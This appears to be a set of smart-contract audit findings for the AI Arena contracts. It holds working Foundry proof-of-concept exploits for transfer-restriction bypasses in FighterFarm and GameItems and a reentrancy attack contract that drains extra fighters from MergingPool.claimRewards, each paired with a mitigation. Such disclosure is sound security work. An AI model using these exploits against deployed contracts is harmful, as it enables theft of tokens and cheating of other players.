AI Arena - web3pwn's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545

Vulnerability details

Impact

The FighterFarm contract implements ERC-721 logic and overrides the functions transferFrom and safeTransferFrom to add logic preventing transfers when the fighter is staked or when the destination address already holds the maximum number of fighters. However, there is a third function in ERC721, safeTransferFrom, which allows transfers with an additional parameter for data. An attacker can exploit this to bypass the implemented restrictions, enabling the free transfer of fighters, even when they are staked or the owner already possesses more than 10 fighters.

Proof of Concept

Proof of concept that allows transferring staked fighter using safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data):

function testSafeTransferExploit() public {
    _mintFromMergingPool(_ownerAddress);
    _fighterFarmContract.addStaker(_ownerAddress);
    _fighterFarmContract.updateFighterStaking(0, true);
    assertEq(_fighterFarmContract.fighterStaked(0), true);
    
    assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
    _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
    assertEq(_fighterFarmContract.ownerOf(0) == _DELEGATED_ADDRESS, true);
}

Output:

% forge test --match-test testSafeTransferExploit
[⠆] Compiling...
[⠢] Compiling 16 files with 0.8.13
[⠔] Solc 0.8.13 finished in 27.74s
Compiler run successful!

Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] testSafeTransferExploit() (gas: 495728)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.20ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended to override safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) function and add _ableToTransfer check.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303

Vulnerability details

Impact

The GameItems contract implements logic for managing game items through the ERC-1155 standard. The safeTransferFrom function has been overridden to validate whether the specified asset (tokenId) can be transferred. However, this implementation can be circumvented, as the ERC-1155 standard also includes the safeBatchTransferFrom function, which has not been overridden. Attacker can freely transfer any game items using safeBatchTransferFrom function also these that should not be transferrable.

Proof of Concept

The following proof of concept presents transferring non-transferrable game item:

function testSafeBatchTransferFromExploit() public {
  _fundUserWith4kNeuronByTreasury(_ownerAddress);
  _gameItemsContract.mint(0, 1);
  _gameItemsContract.adjustTransferability(0, false);

  uint256[] memory ids = new uint256[](1);
  ids[0] = 0;
  uint256[] memory values = new uint256[](1);
  values[0] = 1;
  _gameItemsContract.safeBatchTransferFrom(
        _ownerAddress,
        _DELEGATED_ADDRESS,
        ids,
        values,
        ""
  );
  assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
  assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
}

Results:

% forge test --match-test testSafeBatchTransferFromExploit -vvv
[⠆] Compiling...
[⠑] Compiling 1 files with 0.8.13
[⠘] Solc 0.8.13 finished in 5.37s
Compiler run successful!

Running 1 test for test/GameItems.t.sol:GameItemsTest
[PASS] testSafeBatchTransferFromExploit() (gas: 184037)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended to override safeBatchTransferFrom function and include a check that verifies if the item is transferrable.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L149-L163

Vulnerability details

Impact

The claimRewards function of the MergingPool contract enables users to batch claim rewards for multiple rounds. The issue arises because the fighter is minted using the _safeMint function, exposing the protocol to reentrancy and granting the ability to re-enter the claimRewards function. Although the checks-effects-interactions pattern is followed, it remains vulnerable because the actions are executed within the for loop, allowing an attacker to iterate over the same rounds multiple times.

Proof of Concept

The following proof of concept exploit demonstrates an attack scenario in which the winner is expected to claim 3 fighters, resulting in a total of 4 fighters. However, due to a reentrancy attack, the attacker was able to obtain 3 extra fighters, ending up with a total of 7 fighters.

Exploit code:

contract Exploit {
    address mergingPool;
    constructor (address _mergingPool) {
        mergingPool = _mergingPool; 
    }
    
    function attack() external {
        string[] memory _modelURIs = new string[](3);
        string[] memory _modelTypes = new string[](3);
        uint256[2][] memory _customAttributes = new uint256[2][](3);
        
        MergingPool(mergingPool).claimRewards(_modelURIs, _modelTypes, _customAttributes);
    }
    
    function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
        console.log("reentrancy");

        string[] memory _modelURIs = new string[](3);
        string[] memory _modelTypes = new string[](3);
        uint256[2][] memory _customAttributes = new uint256[2][](3);
        
        MergingPool(mergingPool).claimRewards(_modelURIs, _modelTypes, _customAttributes);
        
        return this.onERC721Received.selector;
    }
}

Test case:

function testReentrancyExploit() public {
        address attacker = address(0x4141); 
        
        _mintFromMergingPool(attacker);
        _mintFromMergingPool(_ownerAddress);

        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

        Exploit exploit = new Exploit(address(_mergingPoolContract));

        vm.prank(attacker);
        _fighterFarmContract.transferFrom(attacker, address(exploit), 0);
        
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        
        exploit.attack();
        
        uint256 balance = _fighterFarmContract.balanceOf(address(exploit));
        console.log("balance of fighters", balance);
    }
}

Results:

% forge test --match-test testReentrancyExploit  -vv
[⠰] Compiling...
[⠢] Compiling 1 files with 0.8.13
[⠰] Solc 0.8.13 finished in 11.02s
Compiler run successful!

Running 1 test for test/MergingPool.t.sol:MergingPoolTest
[PASS] testReentrancyExploit() (gas: 3449585)
Logs:
  reentrancy
  reentrancy
  reentrancy
  reentrancy
  reentrancy
  reentrancy
  balance of fighters 7

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.90ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended to add reentrancy guard to claimRewards function.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L237-L237

Vulnerability details

Impact

The fighters can be minted via the FighterFarm contract. The issue is that the minting process through the redeemMintPass function lacks randomness, enabling users to create a fighter of their choice by specifying the DNA through the mintPassDnas parameter. This allows them to clone any fighter.

Proof of Concept

• https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L254
• https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L237-L237

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended to include fighters.length in the DNA generation. In addition consider using chainlink as a source of randomness.

Assessed type

Other